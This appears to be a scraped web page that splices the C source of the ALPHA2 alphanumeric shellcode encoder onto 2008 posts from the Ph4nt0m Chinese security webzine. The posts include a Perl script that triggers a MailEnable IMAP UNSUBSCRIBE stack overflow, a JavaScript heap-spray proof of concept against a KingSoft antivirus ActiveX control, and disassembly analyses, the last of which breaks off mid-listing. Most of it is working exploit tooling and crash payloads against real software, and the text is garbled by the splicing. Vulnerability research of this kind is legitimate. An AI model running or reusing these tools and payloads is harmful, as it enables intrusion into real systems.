"seh",      mixedcase_w32sehgetpc "IIIIIIIQZ" // ecx code
                mixedcase_ascii_decoder_body },
  { NULL, NULL }
}, uppercase_ascii_decoders[] 
= {
  { 
"nops",     "IIIIIIIIIIII" uppercase_ascii_decoder_body },
  { 
"eax",      "PYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"ecx",      "IIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"edx",      "JJJJJJJJJJJRY" uppercase_ascii_decoder_body },
  { 
"ebx",      "SYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"esp",      "TYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"ebp",      "UYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"esi",      "VYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"edi",      "WYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"[esp-10]""LLLLLLLLLLLLLLLLYII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp-C]",  "LLLLLLLLLLLLYIIII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp-8]",  "LLLLLLLLYIIIIII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp-4]",  "LLLL7YIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"[esp]",    "YIIIIIIIIII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp+4]",  "YYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"[esp+8]",  "YYYIIIIIIIII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp+C]",  "YYYYIIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"[esp+10]""YYYYYIIIIIIII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp+14]""YYYYYYIIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"[esp+18]""YYYYYYYIIIIIII7QZ" uppercase_ascii_decoder_body },
  { 
"[esp+1C]""YYYYYYYYIIIIIIIQZ" uppercase_ascii_decoder_body },
  { 
"seh",      uppercase_w32sehgetpc "IIIIIIIIIIIQZ" // ecx code
                uppercase_ascii_decoder_body },
  { NULL, NULL }
}, mixedcase_ascii_nocompress_decoders[] 
= {
  { 
"nops",     "7777777777777777" mixedcase_ascii_decoder_body },
  { 
"eax",      "PY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"ecx",      "77777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"edx",      "77777777777777RY" mixedcase_ascii_decoder_body },
  { 
"ebx",      "SY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"esp",      "TY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"ebp",      "UY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"esi",      "VY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"edi",      "WY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp-10]""LLLLLLLLTLLLLYQZ" mixedcase_ascii_decoder_body },
  { 
"[esp-C]",  "LLLLLLLLLLLLY7QZ" mixedcase_ascii_decoder_body },
  { 
"[esp-8]",  "LLLLLLLLY77777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp-4]",  "LLLL7Y77777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp]",    "Y7777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+4]",  "YY777777777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+8]",  "YYY77777777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+C]",  "YYYY7777777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+10]""YYYYY777777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+14]""YYYYYY77777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+18]""YYYYYYY7777777QZ" mixedcase_ascii_decoder_body },
  { 
"[esp+1C]""YYYYYYYY777777QZ" mixedcase_ascii_decoder_body },
  { 
"seh",      mixedcase_w32sehgetpc "77777777777777QZ" // ecx code
                mixedcase_ascii_decoder_body },
  { NULL, NULL }
}, uppercase_ascii_nocompress_decoders[] 
= {
  { 
"nops",     "777777777777777777777777" uppercase_ascii_decoder_body },
  { 
"eax",      "PY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"ecx",      "7777777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"edx",      "7777777777777777777777RY" uppercase_ascii_decoder_body },
  { 
"ebx",      "SY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"esp",      "TY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"ebp",      "UY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"esi",      "VY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"edi",      "WY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp-10]""LLLLLLLLLLLLLLLLY77777QZ" uppercase_ascii_decoder_body },
  { 
"[esp-C]",  "LLLLLLLLLLLLY777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp-8]",  "LLLLLLLLY7777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp-4]",  "LLLL7Y7777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp]",    "Y777777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+4]",  "YY77777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+8]",  "YYY7777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+C]",  "YYYY777777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+10]""YYYYY77777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+14]""YYYYYY7777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+18]""YYYYYYY777777777777777QZ" uppercase_ascii_decoder_body },
  { 
"[esp+1C]""YYYYYYYY77777777777777QZ" uppercase_ascii_decoder_body },
  { 
"seh",      uppercase_w32sehgetpc "7777777777777777777777QZ" // ecx code
                uppercase_ascii_decoder_body },
  { NULL, NULL }
}, mixedcase_unicode_decoders[] 
= {
  { 
"nops",     "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
  { 
"eax",      "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"ecx",      "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
  { 
"edx",      "RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"ebx",      "SSYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"esp",      "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"ebp",      "UUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"esi",      "VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"edi",      "WWYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { 
"[esp]",    "YAIAIAIAIAIAIAIAIAIAIAIAIAIAIA44" mixedcase_unicode_decoder_body },
  { 
"[esp+4]",  "YUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { NULL, NULL }
}, uppercase_unicode_decoders[] 
= {
  { 
"nops",     "IAIAIAIA4444" uppercase_unicode_decoder_body },
  { 
"eax",      "PPYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"ecx",      "IAIAIAIA4444" uppercase_unicode_decoder_body },
  { 
"edx",      "RRYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"ebx",      "SSYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"esp",      "TUYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"ebp",      "UUYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"esi",      "VVYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"edi",      "WWYAIAIAIAIA" uppercase_unicode_decoder_body },
  { 
"[esp]",    "YAIAIAIAIA44" uppercase_unicode_decoder_body },
  { 
"[esp+4]",  "YUYAIAIAIAIA" uppercase_unicode_decoder_body },
  { NULL, NULL }
}, mixedcase_unicode_nocompress_decoders[] 
= {
  { 
"nops",     "444444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"eax",      "PPYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"ecx",      "444444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"edx",      "RRYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"ebx",      "SSYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"esp",      "TUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"ebp",      "UUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"esi",      "VVYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"edi",      "WWYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"[esp]",    "YA4444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { 
"[esp+4]",  "YUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
  { NULL, NULL }
}, uppercase_unicode_nocompress_decoders[] 
= {
  { 
"nops",     "44444444444444" uppercase_unicode_decoder_body },
  { 
"eax",      "PPYA4444444444" uppercase_unicode_decoder_body },
  { 
"ecx",      "44444444444444" uppercase_unicode_decoder_body },
  { 
"edx",      "RRYA4444444444" uppercase_unicode_decoder_body },
  { 
"ebx",      "SSYA4444444444" uppercase_unicode_decoder_body },
  { 
"esp",      "TUYA4444444444" uppercase_unicode_decoder_body },
  { 
"ebp",      "UUYA4444444444" uppercase_unicode_decoder_body },
  { 
"esi",      "VVYA4444444444" uppercase_unicode_decoder_body },
  { 
"edi",      "WWYA4444444444" uppercase_unicode_decoder_body },
  { 
"[esp]",    "YA444444444444" uppercase_unicode_decoder_body },
  { 
"[esp+4]",  "YUYA4444444444" uppercase_unicode_decoder_body },
  { NULL, NULL }
};

struct decoder* decoders[] = {
  mixedcase_ascii_decoders, uppercase_ascii_decoders,
  mixedcase_unicode_decoders, uppercase_unicode_decoders,
  mixedcase_ascii_nocompress_decoders, uppercase_ascii_nocompress_decoders,
  mixedcase_unicode_nocompress_decoders, uppercase_unicode_nocompress_decoders
};
void version(void) {
  printf(
    
"________________________________________________________________________________\n"
    
"\n"
    
"    ,sSSs,,s,  ,sSSSs,  " VERSION_STRING "\n"
    
"   SS\"  Y$P\"  SY\"  ,SY \n"
    "  iS'   dY       ,sS\"   Unicode-proof uppercase alphanumeric shellcode encoding.\n"
    "  YS,  dSb    ,sY\"      " COPYRIGHT "\n"
    "  `\"YSS'\"S' 'SSSSSSSP   <skylined@edup.tudelft.nl>\n"
    "________________________________________________________________________________\n"
    
"\n"
  );
  exit(EXIT_SUCCESS);
}

void help(char* name) {
  printf(
    
"Usage: %s [OPTION] [BASEADDRESS]\n"
    
"ALPHA 2 encodes your IA-32 shellcode to contain only alphanumeric characters.\n"
    
"The result can optionaly be uppercase-only and/or unicode proof. It is a encoded\n"
    
"version of your origional shellcode. It consists of baseaddress-code with some\n"
    
"padding, a decoder routine and the encoded origional shellcode. This will work\n"
    
"for any target OS. The resulting shellcode needs to have RWE-access to modify\n"
    
"it's own code and decode the origional shellcode in memory.\n"
    
"\n"
    
"BASEADDRESS\n"
    
"  The decoder routine needs have it's baseaddress in specified register(s). The\n"
    
"  baseaddress-code copies the baseaddress from the given register or stack\n"
    
"  location into the apropriate registers.\n"
    
"eax, ecx, edx, ebx, esp, ebp, esi, edi\n"
    
"  Take the baseaddress from the given register. (Unicode baseaddress code using\n"
    
"  esp will overwrite the byte of memory pointed to by ebp!)\n"
    
"[esp], [esp-X], [esp+X]\n"
    
"  Take the baseaddress from the stack.\n"
    
"seh\n"
    
"  The windows \"Structured Exception Handler\" (seh) can be used to calculate\n"
    
"  the baseaddress automatically on win32 systems. This option is not available\n"
    
"  for unicode-proof shellcodes and the uppercase version isn't 100%% reliable.\n"
    
"nops\n"
    
"  No baseaddress-code, just padding.  If you need to get the baseaddress from a\n"
    
"  source not on the list use this option (combined with --nocompress) and\n"
    
"  replace the nops with your own code. The ascii decoder needs the baseaddress\n"
    
"  in registers ecx and edx, the unicode-proof decoder only in ecx.\n"
    
"-n\n"
    
"  Do not output a trailing newline after the shellcode.\n"
    
"--nocompress\n"
    
"  The baseaddress-code uses \"dec\"-instructions to lower the required padding\n"
    
"  length. The unicode-proof code will overwrite some bytes in front of the\n"
    
"  shellcode as a result. Use this option if you do not want the \"dec\"-s.\n"
    
"--unicode\n"
    
"  Make shellcode unicode-proof. This means it will only work when it gets\n"
    
"  converted to unicode (inserting a '0' after each byte) before it gets\n"
    
"  executed.\n"
    
"--uppercase\n"
    
"  Make shellcode 100%% uppercase characters, uses a few more bytes then\n"
    
"  mixedcase shellcodes.\n"
    
"--sources\n"
    
"  Output a list of BASEADDRESS options for the given combination of --uppercase\n"
    
"  and --unicode.\n"
    
"--help\n"
    
"  Display this help and exit\n"
    
"--version\n"
    
"  Output version information and exit\n"
    
"\n"
    
"See the source-files for further details and copying conditions. There is NO\n"
    
"warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
    
"\n"
    
"Acknowledgements:\n"
    
"  Thanks to rix for his phrack article on aphanumeric shellcode.\n"
    
"  Thanks to obscou for his phrack article on unicode-proof shellcode.\n"
    
"  Thanks to Costin Ionescu for the idea behind w32 SEH GetPC code.\n"
    
"\n"
    
"Report bugs to <skylined@edup.tudelft.nl>\n",
    name
  );
  exit(EXIT_SUCCESS);
}

//-----------------------------------------------------------------------------
int main(int argc, char* argv[], char* envp[]) {
  
int   uppercase = 0, unicode = 0, sources = 0, w32sehgetpc = 0,
        nonewline 
= 0, nocompress = 0, options = 0, spaces = 0;
  
char* baseaddress = NULL;
  
int   i, input, A, B, C, D, E, F;
  
char* valid_chars;

  
// Random seed
  
//struct timeval tv;
  
//struct timezone tz;
  
//gettimeofday(&tv, &tz);
  
//srand((int)tv.tv_sec*1000+tv.tv_usec);
   srand((unsigned int)GetTickCount());
  
// Scan all the options and set internal variables accordingly
  for (i=1; i<argc; i++) {
         
if (strcmp(argv[i], "--help"== 0) help(argv[0]);
    
else if (strcmp(argv[i], "--version"== 0) version();
    
else if (strcmp(argv[i], "--uppercase"== 0) uppercase = 1;
    
else if (strcmp(argv[i], "--unicode"== 0) unicode = 1;
    
else if (strcmp(argv[i], "--nocompress"== 0) nocompress = 1;
    
else if (strcmp(argv[i], "--sources"== 0) sources = 1;
    
else if (strcmp(argv[i], "--spaces"== 0) spaces = 1;
    
else if (strcmp(argv[i], "-n"== 0) nonewline = 1;
    
else if (baseaddress == NULL) baseaddress = argv[i];
    
else {
      fprintf(stderr, 
"%s: more then one BASEADDRESS option: `%s' and `%s'\n"
                      
"Try `%s --help' for more information.\n",
                      argv[
0], baseaddress, argv[i], argv[0]);
      exit(EXIT_FAILURE);
    }
  }

  
// No baseaddress option ?
  if (baseaddress == NULL) {
    fprintf(stderr, 
"%s: missing BASEADDRESS options.\n"
                    
"Try `%s --help' for more information.\n", argv[0], argv[0]);
    exit(EXIT_FAILURE);
  }
  
// The uppercase, unicode and nocompress option determine which decoder we'll
  
// need to use. For each combination of these options there is an array,
  
// indexed by the baseaddress with decoders. Pointers to these arrays have
  
// been put in another array, we can calculate the index into this second
  
// array like this:
  options = uppercase+unicode*2+nocompress*4;
  
// decoders[options] will now point to an array of decoders for the specified
  
// options. The array contains one decoder for every possible baseaddress.

  
// Someone wants to know which baseaddress options the specified options
  
// for uppercase, unicode and/or nocompress allow:
  if (sources) {
    printf(
"Available options for %s%s alphanumeric shellcode:\n",
           uppercase 
? "uppercase" : "mixedcase",
           unicode 
? " unicode-proof" : "");
    
for (i=0; decoders[options][i].id != NULL; i++) {
      printf(
"  %s\n", decoders[options][i].id);
    }
    printf(
"\n");
    exit(EXIT_SUCCESS);
  }


  
if (uppercase) {
    
if (spaces) valid_chars = " 0123456789BCDEFGHIJKLMNOPQRSTUVWXYZ";
    
else valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZ";
  } 
else {
    
if (spaces) valid_chars = " 0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    
else valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  }

  
// Find and output decoder
  for (i=0; strcasecmp(baseaddress, decoders[options][i].id) != 0; i++) {
    
if (decoders[options][i+1].id == NULL) {
      fprintf(stderr, 
"%s: unrecognized baseaddress option `%s'\n"
                      
"Try `%s %s%s--sources' for a list of BASEADDRESS options.\n",
                      argv[
0], baseaddress, argv[0],
                      uppercase 
? "--uppercase " : "",
                      unicode 
? "--unicode " : "");
      exit(EXIT_FAILURE);
    }
  }
  printf(
"%s", decoders[options][i].code);

  
// read, encode and output shellcode
  while ((input = getchar()) != EOF) {
    
// encoding AB -> CD 00 EF 00
    A = (input & 0xf0>> 4;
    B 
= (input & 0x0f);

    F 
= B;
    
// E is arbitrary as long as EF is a valid character
    i = rand() % strlen(valid_chars);
    
while ((valid_chars[i] & 0x0f!= F) { i = ++% strlen(valid_chars); }
    E 
= valid_chars[i] >> 4;
    
// normal code uses xor, unicode-proof uses ADD.
    
// AB ->
    D =  unicode ? (A-E) & 0x0f : (A^E);
    
// C is arbitrary as long as CD is a valid character
    i = rand() % strlen(valid_chars);
    
while ((valid_chars[i] & 0x0f!= D) { i = ++% strlen(valid_chars); }
    C 
= valid_chars[i] >> 4;
    printf(
"%c%c", (C<<4)+D, (E<<4)+F);
  }
  printf(
"A%s", nonewline ? "" : "\n"); // Terminating "A"

  exit(EXIT_SUCCESS);
}

[PSTZine 0x01][0x01][Introduction]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x01 of 0x06


|=-----------------------------------------------------------------------=|
|=--------------------------=[ Introduction ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ By axis ]=---------------------------=|
|=--------------=[ root_at_ph4nt0m_dot_org ]=---------------=|
|=-----------------------------------------------------------------------=|



安全界正在发生着巨变。随着新技术的推广,安全技术也在不断更新。许多技术在不断成熟,而新的技术则在高速发展。WEB2.0的时代给安全带来了许多新的 元素。XSS、CSRF等成为眼下攻击方式的主流。客户端和桌面安全成为热点;随着操作系统级别对溢出保护越来越完善,以后在内存攻击方面的门槛必然提 高;数据安全和企业信息安全也越来越被关注。

在中国,安全圈子和国外交流太少。语言和文化是一个主要障碍。不管是黑帽还是白帽,大家似乎都更喜欢闷在自己的圈子了。其实中国的安全人士,也有许多宝贵 的经验和心得。为了促进交流,活跃气氛,我们开始制作webzine,与此同时,向黑客们心目中的圣地:phrack 致敬。webzine一年可能会根据情况出三到四期,我们一定会坚持把它做下去。

万事开头难,所以我们第一期采用的是约稿的方式。而在未来的webzine计划里,我们将会采用征稿的方式,希望朋友们踊跃投稿到root@ph4nt0m.org.内容可以是安全方面的任何主题,鼓励创新性的思想。

在本期中,我们首先看到的是来自幻影的tms320带给我们的一个关于压缩alpha2 shellcode decoder的心得。tms320一直在幻影exploit研究院内部潜水,不曾显山露水,“潜龙”不外如是。

接下来是F.Zh写的一篇关于漏洞分析和exploit编写的文章,生动有趣。圈子里熟悉的人应该会知道F.Zh是哪位巨牛的马甲,或者从文风也能看出来,只此一家,别无分号。

然后我写了一点关于企业信息安全的杂谈,因为想写的东西太多了,但一只秃笔实在难以描述清楚,是故索性随性而为,想到哪里写到哪里,算是一个系列的开篇第 一章。这里申明一下,很多人搞不清我的几个id,现在借这个宝地讲清楚,axis、刺、大风 都是我的马甲,下次要是再有人把素破黑误认成我,被黑哥追杀就不太好意思了。

紧跟着是noop牛牛写的关于mac shellcode的心得,果然是有钱淫啊,都玩这种高级货了!建议下次可以考虑研究下iphone上的exploit。

最后则是我们的剑心兄弟带来的关于httponly问题的阐述。在国内这方面文档非常少,可能很多人都还不知道这么个玩意。httponly cookie用好了对网站安全的作用还是挺大的。

本来这期还约了许多大牛的稿,不过由于种种原因只好delay到第二期了。我们希望能做出精品,也希望webzine中能真正吸收到一些“伟大”的里程碑式的文章。

再次向phrack致敬!

.
axis


[PSTZine]Ph4nt0m Webzine 0x01 Out!

by axis
2008-03-25
http://www.ph4nt0m.org

Dear all,
千呼万唤始出来!今天我们终于发布了PSTZine的第一期,这是我们Webzine计划中走出第一步。

这一期的主要内容有:
0x01 Introductoin
0x02 An improvement on mixed case alphanumeric shellcode decoder
0x03 做一个优秀的木匠
0x04 安全幻想曲2008
0x05 Shellcode for Mac OSX x86 Tips
0x06 利用httponly提升应用程序安全性

感谢作者们的贡献!
Enjoy!

2008年3月19日 星期三

[Tips]MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出

by 云舒
2008-03-13
http://www.ph4nt0m.org

今天看了下MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出问题。有点麻烦,看了快两天才弄清楚,希望没看错。主要是用IDA反汇编,然后结合OD一起看的。先用perl写了个脚本测试,代码很简单:

#!/use/bin/perl

use strict;
use warnings;
use IO::Socket;

if@ARGV != 3 )
{
    
print "imail_subscribe.pl  <host>   <username>   <password>\n";
    
exit-1 );
}

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];

my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error.\n";

my $res = <$sock>;
print $res;
if$res !~ /OK/ )
{
    
exit-1 );
}

# login
print $sock "0 LOGIN $user $pass\r\n";
$res = <$sock>;
if! defined($res) )
{
    
exit(-1);
}

print $res;
if$res !~ /OK/ )
{
    
exit(-1);
}

# select
print $sock "2 SELECT INBOX\r\n";
while<$sock> )
{
    
print $_;
    
if$_ =~ /2 OK/ || $_ =~ /2 BAD/ )
    {
        
last;
    }
}

my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code\r\n";

$res = <$sock>;
if! defined($res) )
{
    
exit(-1);
}
print $res;

#exit
print $sock "4 LOGOUT\r\n";
print <$sock>;

$sock->close(); 



第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。

.text:00424662                 add     esp, 8
.text:
00424665                 mov     eax, [ebp+arg_0]
.text:
00424668                 push    eax
.text:
00424669                 call    sub_419E90 


第二次跟进sub_419E90,一开始,就分配了栈内存,
.text:00419E93                 sub     esp, 588h 


随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。
.text:00419F00                 push    offset asc_488DF8 ; " "
.text:00419F05                 mov     edx, [ebp
+arg_0]
.text:00419F08                 add     edx, 1BACh
.text:00419F0E                 push    edx             ; 
char *
.text:00419F0F                 call    _strstr         ; 查找空格 


参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。
.text:00419F7C                 push    800h            ; int
.text:00419F81                 mov     eax, [ebp
+var_584]
.text:00419F87                 add     eax, 
1
.text:00419F8A                 push    eax             ; 
char *
.text:00419F8B                 lea     ecx, [ebp
+var_480]
.text:00419F91                 push    ecx             ; 
char *
.text:00419F92                 call    sub_43B100      ; 安全拷贝 


跟进sub_43B100子函数,代码如下:
.text:0043B100                 push    ebp
.text:0043B101                 mov     ebp, esp
.text:0043B103                 push    ecx
.text:0043B104                 mov     eax, [ebp
+arg_4]
.text:0043B107                 push    eax             ; 
char *
.text:0043B108                 call    _strlen
.text:0043B108
.text:0043B10D                 add     esp, 
4
.text:0043B110                 mov     [ebp
+var_4], eax
.text:0043B113                 mov     ecx, [ebp
+var_4]
.text:0043B116                 cmp     ecx, [ebp
+arg_8]
.text:0043B119                 jge     
short loc_43B12D
.text:0043B119
.text:0043B11B                 mov     edx, [ebp
+arg_4]
.text:0043B11E                 push    edx             ; 
char *
.text:0043B11F                 mov     eax, [ebp
+arg_0]
.text:0043B122                 push    eax             ; 
char *
.text:0043B123                 call    _strcpy
.text:0043B123
.text:0043B128                 add     esp, 
8
.text:0043B12B                 jmp     
short loc_43B150
.text:0043B12B
.text:0043B12D  
---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D:       ; CODE XREF: sub_43B100
+19
.text:0043B12D                 mov     ecx, [ebp
+arg_8]
.text:0043B130                 sub     ecx, 
1
.text:0043B133                 push    ecx             ; size_t
.text:0043B134                 mov     edx, [ebp
+arg_4]
.text:0043B137                 push    edx             ; 
char *
.text:0043B138                 mov     eax, [ebp
+arg_0]
.text:0043B13B                 push    eax             ; 
char *
.text:0043B13C                 call    _strncpy
.text:0043B13C
.text:0043B141                 add     esp, 0Ch
.text:0043B144                 mov     ecx, [ebp
+arg_0]
.text:0043B147                 add     ecx, [ebp
+arg_8]
.text:0043B14A                 mov     
byte ptr [ecx-1], 0
.text:0043B14E                 xor     eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150:              ; CODE XREF: sub_43B100
+2B
.text:0043B150                 mov     esp, ebp
.text:0043B152                 pop     ebp
.text:0043B153                 retn    0Ch 


可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下:

void my_strcpy( char *dst, char *src, int len )
{
    
if( strlen( src ) >= len )
    {
        strncpy( dst, src, len 
- 1 );
    }
    
else
    {
        strcpy( dst, src );
    }
}

void vuln( char *src, .. .. )
{
    
char dst[0x480= { 0 };
    
    my_strcpy( dst, src, 
0x800 );
    
    .. .. .. 


这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。

2008年3月8日 星期六

[Exploit] KingSoft UpdateOcx2.dll SetUninstallName() Heap Overflow Exploit

Date: 2008-02-29
MSN: void[at]ph4nt0m[dot]org
http://www.ph4nt0m.org

文件路径: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
文件描述: Kingsoft Antivirus Online Update Module
文件版本: 2007,12,29,29

金山在线杀毒,百度安全中心在线杀毒,雅虎助手等使用的在线杀毒引擎均受影响.

PoC代码:

<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 
+= unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>


分析:
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
.text:1000737B SetUninstallName proc near              ; DATA XREF: .rdata:1003186C o
.text:1000737B                                         ; .rdata:10031A64 o
.text:1000737B
.text:1000737B this_ptr        
= dword ptr 4
.text:1000737B bsUninstallName 
= dword ptr 8
.text:1000737B
.text:1000737B                 mov     eax, [esp
+this_ptr]
.text:1000737F                 push    [esp
+bsUninstallName]
.text:
10007383                 add     eax, 20h
.text:
10007386                 mov     ecx, [eax]
.text:
10007388                 push    eax
.text:
10007389                 call    dword ptr [ecx+20h] ; 此处跟进 10012278
.text:1000738C                 xor     eax, eax
.text:1000738E                 retn    
8
.text:1000738E SetUninstallName endp


.text:
10012278 ; =============== S U B R O U T I N E =======================================
.text:
10012278
.text:
10012278
.text:
10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
.text:
10012278 Vul_Func        proc near               ; DATA XREF: .rdata:10032D3C o
.text:
10012278
.text:
10012278 arg_0           = dword ptr 4
.text:
10012278 Source          = dword ptr 8
.text:
10012278
.text:
10012278                 cmp     [esp+Source], 0
.text:1001227D                 jz      
short loc_10012294
.text:1001227F                 mov     eax, [esp
+arg_0]
.text:
10012283                 push    [esp+Source]    ; Source
.text:
10012287                 add     eax, 0D70h
.text:1001228C                 push    eax             ; Dest
.text:1001228D                 call    _wcscpy         ; 没有检查用户输入的长度就,造成heap overlfow
.text:
10012292                 pop     ecx
.text:
10012293                 pop     ecx
.text:
10012294
.text:
10012294 loc_10012294:                           ; CODE XREF: Vul_Func+5 j
.text:
10012294                 xor     eax, eax
.text:
10012296                 retn    8
.text:
10012296 Vul_Func        endp
.text:
10012296


课后习题:
1. 为什么要target2?
2. 该控件有没有其他利用途径?
答案下周六公布.

2008年3月4日 星期二

[Tips]关于CVE-2008-1054 SurgeMail 38k4 Buffer Overflow

by axis
2008-03-04
http://www.ph4nt0m.org


漏洞发生在 _lib_spawn_user_getpid 这个函数中

由于将环境变量循环拷贝导致溢出。


.text:00441BD8 loc_441BD8:                             ; CODE XREF: _lib_spawn_user_getpid+BDj
.text:00441BD8                 mov     ecx, [ebp
+var_45C]
.text:00441BDE                 add     ecx, 
1
.text:00441BE1                 mov     [ebp
+var_45C], ecx
.text:00441BE7
.text:00441BE7 loc_441BE7:                             ; CODE XREF: _lib_spawn_user_getpid
+6Ej
.text:00441BE7                 mov     edx, [ebp
+var_45C]
.text:00441BED                 mov     eax, [ebp
+arg_4]
.text:00441BF0                 cmp     dword ptr [eax
+edx*4], 0  #这里的判断
.text:00441BF4                 jz      
short loc_441C27
.text:00441BF6                 mov     ecx, [ebp
